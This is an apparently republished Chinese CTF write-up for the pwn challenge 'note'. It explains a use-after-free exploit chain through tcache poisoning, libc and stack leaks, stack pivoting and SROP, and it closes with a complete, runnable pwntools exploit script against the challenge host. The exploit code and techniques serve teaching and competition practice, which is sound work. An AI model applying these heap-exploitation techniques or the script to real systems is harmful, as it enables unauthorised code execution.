文章总结: 文档分析一道CTFPWN题《note》,其核心漏洞为UAF,利用链涉及tcachepoisoning泄露堆地址、unsortedbin泄露libc/PIE基址、通过__environ定位栈地址并迁移至堆,最终采用SROP而非传统ROP稳定执行execve(‘/bin/sh’)。文章强调在现代保护机制下,选择SROP是因需精确设置多参数syscall且gadget依赖少、稳定性高。 综合评分: 88 文章分类: CTF,二进制安全,漏洞分析,实战经验,渗透测试
数字中国创新大赛网络安全子赛道个人赛-PWN
原创
wallkone wallkone
星络安全实验室
2026年4月12日 12:20 四川
在小说阅读器读本章
去阅读
一道 UAF 堆题,最后为什么会收束到 SROP
有些 pwn 题,难点在找漏洞。 还有一些题,漏洞其实并不难找,真正折磨人的是:最后到底该怎么把利用链收住。
这道 note 就很典型。
表面上,它只是一个再普通不过的 note 管理器:支持创建、修改、释放、读取;菜单逻辑很朴素,索引范围也有限制,看起来不像那种“一眼秒”的题。 但真做起来你会发现,它的难点根本不在前半段,而是在你已经拿到 UAF 之后,面对现代 glibc 和一整套保护时,如何把能力一步步扩展,最后稳稳落到代码执行。
这道题最终的利用链不是常见的 hook,也不是一条传统 ret2libc,而是:
UAF -> tcache poisoning -> libc leak -> __environ leak stack -> leave; ret -> SROP -> execve(“/bin/sh”,”-c”,cmd,NULL)
真正有意思的,也正是为什么最后要走到 SROP。
题目信息
- 题目:
note - 附件:
note、libc.so.6、ld-linux-x86-64.so.2 - 远程:
pwn-ca7c2b9b90.adworld.xctf.org.cn:9999,ssl=True - 最终 flag:
一、程序逻辑很简单,漏洞也不藏
先看主逻辑。把 IDA 里核心流程拉出来,大概就是这样:
while (1) { menu(); chr = get_int(); puts("enter index:"); idx = get_int(); while (idx > 0xF) { ... } note_ptr = ¬es[idx]; if (chr == 3) { if (n_reads > 0) { write(1, *note_ptr, 0x18); --n_reads; } } else if (chr == 2) { if (n_frees > 0) { free(*note_ptr); --n_frees; } } else if (chr == 1) { if (n_updates > 0) { read(0, *note_ptr, 0x18); --n_updates; } } else if (chr == 0) { if (n_allocs > 0) { *note_ptr = malloc(0x18); --n_allocs; } } else { break; }}
看起来没什么花样,但这里有两个关键点:
第一,free(*note_ptr) 之后,并没有把 notes[idx] 置空。
第二,后续的 read 和 update 仍然是直接对 *note_ptr 操作。
这意味着什么?
意味着一个已经被释放的 chunk,仍然可以继续被读、被写。 也就是说,这题的核心漏洞非常明确,就是一个 UAF(Use After Free)。
所以前半段其实不难:漏洞点很好定位,甚至称得上直给。
二、真正麻烦的,不是 UAF,而是利用环境
这题的保护开得比较齐:
PIENXCanaryFull RELRO
这几个保护叠起来以后,传统路线会被压缩得很厉害:
- 不能直接走 GOT 覆写;
- 不能指望简单的栈溢出覆盖返回地址;
- 一些老思路里的 libc hook,在这份 glibc 2.43 环境里也并不顺手。
所以这题不是那种“拿到 UAF 就收工”的题。 真正的问题其实变成了三件事:
- 怎么稳定泄漏地址;
- 怎么把 UAF 发展成真正有意义的任意地址写;
- 最后怎么把控制流收束到可执行的利用链上。
这三步,缺一不可。
三、第一步:先从 UAF 拿到 heap 地址
这题的 note chunk 大小固定是 0x18,非常适合从 tcache 入手。
先申请几个 chunk,再释放两个:
foriinrange(3):
create(io, i)
delete(io, 0)
delete(io, 1)
leak=readnote(io, 0)
因为存在 UAF,readnote(0) 其实是在读取一个已经释放的 chunk。
这时读出来的内容里,会带着 tcache 链表指针。
结合 safe-linking 的恢复方式:
a= (u64(leak[:8]) <<12) |0x10
heap=a&~0xFFF
ctrl=heap+0x100
这里就把堆基址恢复出来了。
这一步非常关键。因为后面无论是伪造 chunk、构造堆上的控制区,还是最终布置“迁移后的栈”,都得先知道 heap 基址。 没有这一步,后面的所有布局都没有落点。
四、第二步:借 UAF 绕过 double free 检查,进入 tcache poisoning
只拿到 UAF 当然还不够。 想把它真正变成利用能力,核心是要把 tcache 链表改到我们想要的位置。
这里有个很实用的小技巧:
把已释放 chunk 的内容清零,再做第二次 free,就可以绕过 tcache 的 double free 检查。
代码是这样的:
update(io, 0, p64(0) *3)
delete(io, 0)
这样做之后,tcache poisoning 就进入了可操作阶段。
接下来,通过 UAF 改写已释放 chunk 的 fd,再配合几次分配,就可以把后续申请引导到我们希望命中的位置。
从这一刻开始,这道题就不再只是“读写已释放块”,而是在往“控制分配结果”迈进。
五、第三步:做一次 unsorted leak,把 libc 和 PIE 一起拿下来
这一步,是整条利用链的第一个真正拐点。
很多人拿到 UAF 后,第一反应会去找 hook。 但这题更稳的做法,是先想办法拿到 libc 基址。
原因很简单:
后面无论你要找 __environ、要算 gadget、还是要定位 syscall,都得建立在 libc 基址已经明确的前提下。
libc 不稳,后面所有控制流都只是空中楼阁。
这里的做法是通过伪造 chunk 元数据,把块送进 unsorted bin,然后从 fd/bk 指针里把 libc 地址读出来:
leak2=readnote(io, 8)
ub=u64(leak2[:8])
libc_base=ub-0x1E7B58
pie_base=libc_base+0x1F3000
这一步很漂亮的地方在于:
不仅拿到了 libc_base,还顺手把 pie_base 一并恢复了。
而这两个地址,后面都要用到:
- 用
pie_base + notes去定位全局数组; - 用
libc_base + __environ去拿栈地址; - 用
libc_base + gadget去组织最终执行链。
可以说,这一步以后,整个利用链的地基才真正搭起来。
六、第四步:把分配打到 notes 上,再借 __environ 找栈
前面做 tcache poisoning,真正的目标其实并不是某个 hook。
更高价值的目标,是把 chunk 分配到 notes 数组本身。
换句话说,我们希望做到的是:
控制 notes[i] 里保存的指针。
先把分配目标导向 notes:
set_head(pie_base+exe.sym["notes"])
create(io, 9)
接着,把 notes[0] 改成 __environ:
update(io, 9, p64(libc_base+libc.sym["__environ"]) +p64(heap_rop) +p64(heap_rop+0x18))
envp=u64(readnote(io, 0)[:8])
为什么选 __environ?
因为它指向的是当前进程栈上的环境变量区域。 只要能泄漏出它的位置,就能反推出当前栈帧附近的地址。
这题里,本地调试后可以确定:
stack_saved_rbp=envp-0x148
这一步的意义非常大。
因为从这里开始,我们就不再是“猜测栈位置”,而是能精准定位main 退出时会使用的 saved rbp 和返回现场。
一旦能稳定命中这里,整个利用思路就彻底变了: 与其继续在堆上找更绕的控制点,不如直接把程序返回时的栈现场接管。
七、第五步:为什么不继续追 hook,而改走栈迁移
做到这里,很多人的直觉还是会回到 hook 路线,尤其会去想:
__free_hook__malloc_hook
或者其他类似的老套路。
但这题最容易浪费时间的地方,恰恰就在这里。
因为在 glibc 2.43 这个环境下,常规 hook 路线已经不是一个性价比高的选择。 继续往这条路深挖,很容易陷入“理论上好像能走,实际上怎么都不顺”的调试泥潭。
相比之下,更稳的思路是:
直接改 main 返回时的栈现场,把控制流切到堆上。
做法很直接:
- 覆写
saved rbp,让它指向我们提前准备好的堆上区域heap_rop; - 覆写返回地址为一个
leave; retgadget。
代码如下:
update(io, 9, p64(stack_saved_rbp) + p64(heap_rop) + p64(heap_rop + 0x18))update(io, 0, p64(heap_rop) + p64(leave_ret) + p64(0))
其中:
leave_ret=pie_base+0x1219
当 main 结束,程序执行到 leave; ret 时,栈就会被迁移到我们事先布置好的堆区域。
这一步完成之后,题目本质上已经从“堆利用题”切换成了“如何在堆上组织最终控制流”的题。
八、最后一跳:为什么是 SROP,而不是普通 ROP
这题最值得展开聊的,其实就是最后这一跳。
理论上,栈迁移完成之后,有很多方向可以想:
- 拼一条普通 ROP,调用
system("/bin/sh"); - 或者找
pop rdi / pop rsi / pop rdx等 gadget,凑一个execve; - 甚至继续尝试一些更传统的 libc 调用链。
但这题实际打下来会发现: 普通多参数 ROP 在这里并不够稳,尤其远程环境更容易出意外。
问题在于,多参数调用往往意味着:
- gadget 需求更高;
- 寄存器状态更难控;
- 链更长,更脆弱;
- 远程环境下更容易因为栈布局、对齐或现场差异翻车。
这时候,SROP 的优势就体现出来了。
它的好处非常明确:
- 依赖 gadget 少;
- 一次性恢复完整寄存器状态;
- 特别适合需要精确设置多参数 syscall 的场景。
所以最后的做法是:
- 先通过
pop rax ; ret把rax设成15; - 再执行一次
syscall ; ret,触发rt_sigreturn; - 内核从我们伪造的
SigreturnFrame中恢复所有寄存器; - 直接把现场切成一次完整的
execve("/bin/sh", ["/bin/sh","-c",cmd], NULL)。
第一段链很短:
arb_write(heap_rop, p64(heap_rop+0x200) +p64(pop_rax) +p64(15) +p64(syscall))
对应 gadget:
pop_rax=libc_base+0xD47D7
syscall=libc_base+0x93916
接着伪造 SigreturnFrame:
frame=SigreturnFrame(arch="amd64")
frame.rax =59
frame.rdi =heap_str
frame.rsi =heap_argv
frame.rdx =0
frame.rsp =heap_rop+0x400
frame.rip =syscall
arb_write(heap_rop+0x20, bytes(frame))
再把参数区布置好:
arb_write(heap_str, b"/bin/sh\x00-c\x00")
arb_write(heap_cmd, cmdline+b"\x00")
arb_write(heap_argv, p64(heap_str) +p64(heap_str+8) +p64(heap_cmd) +p64(0))
最终系统调用的效果就是:
execve("/bin/sh", ["/bin/sh", "-c", cmdline], NULL);
这一步其实就是整道题的“收口时刻”。
前面所有堆操作、地址泄漏、栈定位、栈迁移,最后都是为了把执行流送到这里。 而 SROP 之所以成为最终答案,不是因为它“更炫”,而是因为在这个环境下,它就是更稳、更短、更适合收尾。
九、整条利用链真正解决了什么问题
如果把整道题抽象一下,你会发现它不是单纯在考“会不会用 UAF”,而是在考你能不能完成下面这几次思维切换:
1. 从 UAF 走到 tcache poisoning
不是停留在“能读写释放块”这一步,而是继续把能力扩展到“控制分配目标”。
2. 从 heap leak 走到 libc / PIE leak
不是拿到一个堆地址就满足,而是进一步把整个地址空间坐标系建立起来。
3. 从堆利用走到栈控制
不是执着于 hook,而是意识到更优解其实是栈迁移。
4. 从普通 ROP 走到 SROP
不是死磕 gadget,而是在多参数 syscall 场景下,选择更稳定、更现代的收尾方式。
所以这题最精彩的地方,并不在“漏洞在哪里”。 漏洞其实很早就摆在那了。 真正的分水岭,是你能不能在后半段不断放弃“看起来熟悉但不合适”的路线,最后收束到真正稳妥的方法上。
十、关键偏移
这题最终真正用到的关键偏移如下:
libc_base=ub-0x1E7B58
pie_base=libc_base+0x1F3000
stack_saved_rbp=envp-0x148
leave_ret=pie_base+0x1219
pop_rax=libc_base+0xD47D7
syscall=libc_base+0x93916
heap_rop=heap+0x308
heap_str=heap+0x500
heap_cmd=heap+0x510
heap_argv=heap+0x540
这些偏移基本就是整条利用链的骨架。
十一、最终 exp
完整脚本如下,可直接运行:
#!/usr/bin/env python3from pwn import *import re
HERE = "/mnt/h/pwn"BIN = f"{HERE}/note"LD = f"{HERE}/ld-linux-x86-64.so.2"LIBC = f"{HERE}/libc.so.6"
context.binary = exe = ELF(BIN, checksec=False)libc = ELF(LIBC, checksec=False)context.arch = "amd64"context.log_level = args.LOG or "info"context.timeout = 1.2
HOST = args.HOST or "pwn-ca7c2b9b90.adworld.xctf.org.cn"PORT = int(args.PORT or 9999)SSL = True
PROMPT = b"enter option >"
def start(): if args.REMOTE: return remote(HOST, PORT, ssl=SSL) argv = [LD, "--library-path", HERE, BIN] return process(argv, cwd=HERE, stdin=PIPE, stderr=PIPE)
def do_cmd(io, choice, idx, data=None): io.sendlineafter(PROMPT, str(choice).encode()) io.sendlineafter(b"enter index:", str(idx).encode()) if data is not None: io.send(data) io.recvuntil(PROMPT)
def create(io, idx): do_cmd(io, 0, idx)
def update(io, idx, data): do_cmd(io, 1, idx, data)
def delete(io, idx): do_cmd(io, 2, idx)
def readnote(io, idx): io.sendlineafter(PROMPT, b"3") io.sendlineafter(b"enter index:", str(idx).encode()) io.recvuntil(b"content:\n\n") data = io.recvn(0x18) io.recvuntil(PROMPT) return data
def try_exp(io, cmdline): for i in range(3): create(io, i)
delete(io, 0) delete(io, 1) leak = readnote(io, 0) a = (u64(leak[:8]) << 12) | 0x10 heap = a & ~0xFFF ctrl = heap + 0x100
update(io, 0, p64(0) * 3) delete(io, 0)
create(io, 3) update(io, 3, p64((a >> 12) ^ ctrl) + p64(0) * 2) create(io, 4) create(io, 5) create(io, 6)
def set_head(target): update(io, 6, p64(0x0010001000100010) + p64(target) + p64(0))
def seed(idx, target): update(io, idx, p64(0) + p64(0x21) + p64(target >> 12))
seed(2, heap + 0x60) set_head(heap + 0x60) create(io, 7)
seed(7, heap + 0x70) set_head(heap + 0x70) create(io, 8)
update(io, 7, p64(0) + p64(0xA1) + p64(0)) update(io, 8, p64(0) * 3) update(io, 6, p64(0xA0) + p64(0x261) + p64(0)) delete(io, 8)
leak2 = readnote(io, 8) ub = u64(leak2[:8]) libc_base = ub - 0x1E7B58 pie_base = libc_base + 0x1F3000
heap_rop = heap + 0x308 heap_str = heap + 0x500 heap_cmd = heap + 0x510 heap_argv = heap + 0x540
set_head(pie_base + exe.sym["notes"]) create(io, 9)
update(io, 9, p64(libc_base + libc.sym["__environ"]) + p64(heap_rop) + p64(heap_rop + 0x18)) envp = u64(readnote(io, 0)[:8]) stack_saved_rbp = envp - 0x148
leave_ret = pie_base + 0x1219 pop_rax = libc_base + 0xD47D7 syscall = libc_base + 0x93916
def arb_write(addr, data): for off in range(0, len(data), 0x18): chunk = data[off : off + 0x18].ljust(0x18, b"\x00") update(io, 9, p64(addr + off) + p64(heap_rop) + p64(heap_rop + 0x18)) update(io, 0, chunk)
arb_write(heap_rop, p64(heap_rop + 0x200) + p64(pop_rax) + p64(15) + p64(syscall))
frame = SigreturnFrame(arch="amd64") frame.rax = 59 frame.rdi = heap_str frame.rsi = heap_argv frame.rdx = 0 frame.rsp = heap_rop + 0x400 frame.rip = syscall arb_write(heap_rop + 0x20, bytes(frame))
arb_write(heap_str, b"/bin/sh\x00-c\x00") arb_write(heap_cmd, cmdline + b"\x00") arb_write(heap_argv, p64(heap_str) + p64(heap_str + 8) + p64(heap_cmd) + p64(0))
update(io, 9, p64(stack_saved_rbp) + p64(heap_rop) + p64(heap_rop + 0x18)) update(io, 0, p64(heap_rop) + p64(leave_ret) + p64(0))
io.sendlineafter(PROMPT, b"4") io.sendlineafter(b"enter index:", b"0") return io.recvrepeat(2.5)
def solve_once(cmdline): io = start() try: out = try_exp(io, cmdline) status = io.poll(block=False) if hasattr(io, "poll") else None return out, status finally: io.close()
def main(): remote_cmd = ( b"cat /flag /flag.txt /flag* ./flag ./flag.txt ./flag* /home/ctf/flag " b"/home/ctf/flag.txt /home/ctf/flag* 2>/dev/null; echo __END__;" )
out, _ = solve_once(remote_cmd) print(out.decode("latin-1", errors="ignore")) m = re.search(rb"([A-Za-z0-9_]*\{[^}\n]+\})", out) if m: log.success("flag=%s", m.group(1).decode())
if __name__ == "__main__": main()
十二、验证结果
本地验证
本地使用同一条链执行:
echo PWNED; id;
返回:
PWNED
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
说明整条链路都是通的:
-
heap leak 正常;
-
unsorted leak 正常;
-
__environ泄漏正常;
-
栈迁移正常;
-
SROP 成功触发
execve。
远程验证
执行:
python3 exp.py REMOTE=1
远程成功读到 flag:
flag{}
十三、最后总结
如果只看漏洞本身,这题并不算难。 一个 UAF,很快就能定位出来。
但如果把完整利用过程真正走完,会发现它考的远不止“会不会用 UAF”这么简单,而是:
- 能不能从 UAF 稳定过渡到 tcache poisoning;
- 能不能在现代 glibc 下及时放弃已经不合适的 hook 思路;
- 能不能想到借
__environ去精准定位栈; - 能不能在最后一步选择更稳的 SROP,而不是继续硬凑普通 ROP。
所以这题最有意思的地方,不是“洞在哪里”,而是:
当你已经有洞了,最后该怎么收。
从这个角度看,它是一道非常典型的现代利用思维题: 漏洞只是起点,真正的分水岭在后半段
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星络安全实验室 wallkone wallkone《数字中国创新大赛网络安全子赛道个人赛-PWN》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论